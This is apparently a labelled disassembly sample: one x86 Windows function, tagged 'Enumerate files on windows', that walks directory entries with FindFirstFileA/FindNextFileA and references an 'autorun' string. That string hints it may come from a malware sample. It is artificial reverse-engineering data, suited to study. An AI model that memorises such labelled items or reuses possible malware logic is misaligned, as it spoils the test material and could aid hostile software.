Function at 0x402370
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa58
push ebx
push esi
push edi
lea edi, [ebp - 0xa58]
mov ecx, 0x296
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [str.autorun.]
mov dword [ebp - 0x40c], eax
mov ecx, dword [0x414f3c]
mov dword [ebp - 0x408], ecx
mov dx, word [0x414f40]
mov word [ebp - 0x404], dx
mov ecx, 0x7d
xor eax, eax
lea edi, [ebp - 0x402]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x834], 0
mov dword [ebp - 0x840], 0
mov dword [ebp - 0x84c], 0xffffffff
mov esi, esp
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x81c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x994]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00404550
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x84c], 0xffffffff
jne 0x402473
xor eax, eax
jmp 0x40266d
mov esi, esp
lea eax, [ebp - 0x864]
push eax
lea ecx, [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.00404550
test eax, eax
jne 0x4024c7
mov esi, esp
lea eax, [ebp - 0x968]
push eax
lea ecx, [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00404550
cmp dword [ebp + 0xc], 0
je 0x402524
lea eax, [ebp - 0x204]
push eax
call fcn.004026f0
add esp, 4
add eax, dword [ebp - 0x828]
mov dword [ebp - 0x828], eax
jmp 0x402533
mov eax, dword [ebp - 0x828]
add eax, 1
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x834], 0
jmp 0x40254e
mov eax, dword [ebp - 0x834]
add eax, 1
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 0x15
jge 0x402651
mov esi, esp
lea eax, [ebp - 0x994]
push eax
mov ecx, dword [ebp - 0x84c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.00404550
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 0
jne 0x40258c
jmp 0x402651
mov esi, esp
lea eax, [ebp - 0x864]
push eax
lea ecx, [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, esp
call fcn.00404550
test eax, eax
jne 0x4025e0
mov esi, esp
lea eax, [ebp - 0x968]
push eax
lea ecx, [ebp - 0x40c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00404550
mov esi, esp
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00404550
cmp dword [ebp + 0xc], 0
je 0x40263d
lea eax, [ebp - 0x204]
push eax
call fcn.004026f0
add esp, 4
add eax, dword [ebp - 0x828]
mov dword [ebp - 0x828], eax
jmp 0x40264c
mov eax, dword [ebp - 0x828]
add eax, 1
mov dword [ebp - 0x828], eax
jmp 0x40253f
mov esi, esp
mov eax, dword [ebp - 0x84c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, esp
call fcn.00404550
mov eax, dword [ebp - 0x828]
push edx
mov ecx, ebp
push eax
lea edx, [0x402692]
call fcn.00404580
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xa58
cmp ebp, esp
call fcn.00404550
mov esp, ebp
pop ebp
ret